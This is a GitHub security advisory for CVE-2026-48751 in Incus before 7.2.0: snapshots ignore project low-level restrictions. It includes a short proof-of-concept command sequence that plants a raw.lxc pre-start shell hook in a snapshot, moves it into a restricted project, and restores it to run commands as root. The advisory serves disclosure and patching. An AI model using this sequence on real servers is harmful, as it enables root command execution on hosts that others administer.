GitHub Advisoryadvisory · Go
GHSA-48q5-w887-33wv Incus has a restricted project bypass leading to arbitrary command execution
CRITICAL
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- Aliases
- CVE-2026-48751
- Ecosystem
- Go
- Packages
- github.com/lxc/incus/v7/cmd/incusd
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-862
- Reviewed
- 2026-06-26
Affected packages
• Go github.com/lxc/incus/v7/cmd/incusd: < 7.2.0 → fixed in 7.2.0
Description
Summary
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.
Details
Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`.
As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.
In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.
PoC
```
remote, restricted
incus project set rem:project restricted.true
incus project set rem:project restricted.containers.lowlevel=block
locally, unrestricted project
incus init images:debian/trixie rce-raw-lxc
incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
incus snapshot create rce-raw-lxc snap0
> allow transfer to restricted project
incus config unset rce-raw-lxc raw.lxc
locally, transfer and trigger
incus move rce-raw-lxc rem: --mode push
incus snapshot restore rem:rce-raw-lxc snap0
incus start rem:rce-raw-lxc
```
Impact
• Bypass of project restrictions.
• Arbitrary command execution on the Incus server.
Related
Alias · CVE (1)
- CVE-2026-48751 Incus is a system container and virtual machine manager. vulnerability
Weakness · CWE (1)
- CWE-862 Missing Authorization weakness